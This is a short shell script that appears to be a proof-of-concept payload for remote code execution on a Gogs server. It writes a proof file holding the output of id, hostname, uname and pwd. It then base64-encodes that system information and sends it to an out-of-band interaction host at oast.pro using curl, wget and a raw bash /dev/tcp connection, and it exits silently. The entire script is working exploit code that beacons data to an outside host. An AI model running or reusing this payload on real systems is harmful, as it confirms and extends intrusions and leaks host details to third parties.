#!/bin/sh
TAG="350900"
OUT="/root/gogs/data/tmp/local-repo/5878/_proof_$TAG.txt"
{
  echo "tag=$TAG"
  echo "uid=$(id 2>&1)"
  echo "host=$(hostname 2>&1)"
  echo "uname=$(uname -a 2>&1)"
  echo "pwd=$(pwd 2>&1)"
  echo "args=$*"
} > "$OUT" 2>&1
D=$( { id; hostname; uname -a; } 2>&1 | base64 -w0 2>/dev/null | tr '+/' '-_' | tr -d '=' )
H="cd4547282df75cd148ebd0f8eab102f8f.oast.pro"
U="http://$H/hb/$TAG/$D"
if command -v curl >/dev/null 2>&1; then curl -s -m 10 -o /dev/null "$U" || true; fi
if command -v wget >/dev/null 2>&1; then wget -q -T 10 -O /dev/null "$U" || true; fi
if command -v bash >/dev/null 2>&1; then
  bash -c "exec 3<>/dev/tcp/$H/80; printf 'GET /hb/tcp/$TAG HTTP/1.0\r\nHost: $H\r\n\r\n' >&3; cat <&3 >/dev/null 2>&1" || true
fi
exit 0
